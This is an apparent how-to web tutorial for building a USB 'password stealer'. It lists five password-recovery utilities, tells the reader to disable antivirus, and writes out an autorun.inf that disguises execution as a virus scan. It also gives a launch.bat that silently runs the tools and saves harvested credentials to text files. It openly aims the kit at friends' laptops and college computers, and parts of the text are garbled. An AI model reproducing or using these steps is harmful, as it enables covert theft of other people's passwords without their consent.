How To Create A USB Stealer - Automatically Steals Data When Inserted into a Device - HowToKR

USB Stealer is a Windows-based password-hacker program that helps to steal the password from Windows-related apps like Chrome Password, Firefox Password, NetPassword, Windows device admin passwords.

I'm showing you how to create your own USB password Stealer in this tutorial. As everybody knows, Windows stores most of the passwords, including MSN, Yahoo, AOL, Windows, etc., that are used on a regular basis.

In addition to this, Windows also stores passwords from several browsers including IE and Firefox on Outlook Express, SMTP, POP, FTP accounts, or auto-filling passwords. There are a variety of methods in place to retrieve these passwords. You can build your own rootkit to hack passwords from the college/friend's device with these tools and a USB pen drive.

When making your own stealers, it will help you more to learn some of the Windows Run Commands and keyboard shortcuts.

We need the following tools to create our rootkit:


Recovers passwords for the most common Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger with Netscape 7, Trillian, Miranda, and GAIM.

Download MessenPass

Mail PassView

Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.

Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail) if you use the associated programs of these accounts.

Download Mail PassView

IE Passview

IE PassView is a small utility that reveals the passwords stored by the Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet Explorer, v4.0 – v6.0

Download IE Passview

Protected Storage PassView

Recovers all passwords saved in the Secure Files, including Internet Explorer AutoComplete Passwords, Password Safe Pages Passwords, MSN Explorer Passwords, and more.

Download Protected Storage PassView


PasswordFox is a simple password recovery application that helps you to access the usernames and passwords saved in the Mozilla Firefox web browser. By example, PasswordFox shows the passwords saved in your current profile, but you can conveniently pick the passwords in every other Firefox user. The following information is shown for each database entry: Log Index, Web Address, User Name, Database, User Name Field, Authentication Field, and Signs File Name.

Download PasswordFox

Here is a step by step procedure to create the password hacking toolkit:

NOTE: You must temporarily disable your antivirus before following these steps.

Step 1: Download all the 5 tools, extract them, and copy only the executable (.exe files) into your USB Pen-drive.

i.e: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe, and passwordfox.exe into your USB Drive.

Step 2: Create a new Text Doc.(Using a Note Pad) and write the following text into it:


ACTION= Perform a Virus Scan
save the Notepad and rename it from

Rename the text file to “autorun.inf”.

Now copy the autorun.inf file into your USB pen-drive.

Step 3: Create another Notepad and write the following text onto it:


start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

Save the notepad and change its name to "launch.bat."

Copy the launch.bat file to your USB drive as well.

Congo, you've made it!

Bingo! oh look! Now your rootkit is finished and you're all set to crack your passwords. You can use this pen on your friend's Laptop or on your college computer. Only follow those moves

1. Attach the pen-drive and the Autorun window will open open. (This is because we created the Pendrive author).

2. Pick the first choice (Perform a Virus Scan) in the pop-up window.

3. Now all the password cracking methods are quietly executed in the background (this process takes just a few seconds). Passwords are contained in.txt archives.

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